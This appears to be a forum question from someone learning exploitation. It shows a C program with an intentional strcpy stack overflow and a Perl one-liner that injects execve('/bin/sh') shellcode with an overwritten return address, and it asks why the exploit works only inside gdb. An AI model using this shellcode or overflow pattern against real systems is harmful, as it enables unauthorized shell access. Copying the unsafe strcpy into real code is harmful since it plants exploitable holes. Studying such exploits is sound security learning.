I have a vulnerable program in c which copy argv into a buffer and then print it:
# include <string.h>
# include <stdio.h>
# include <stdlib.h>
void func(char * arg){
char name[32];
strcpy(name, arg);
printf("\n Welcome %s\n\n", name);
}
int main(int argc, char *argv[]) {
if (argc < 2){
printf("Use: %s Name\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("End\n\n");
return 0;
}
I have compiled it with gcc with no stack protector and execstack, then I have used gdb to see the memory point where I should change the EIP. But I have noticed that the shellcode is executed (the exploit works) only when I'm in gdb but outside it doesn't work.
Works:
$ gdb ./prog -q
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"'`
$ whoami
user
Doesn't work:
$ ./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"'`
segmentation fault
Why this happens? I think that this code should work outside gdb, too.
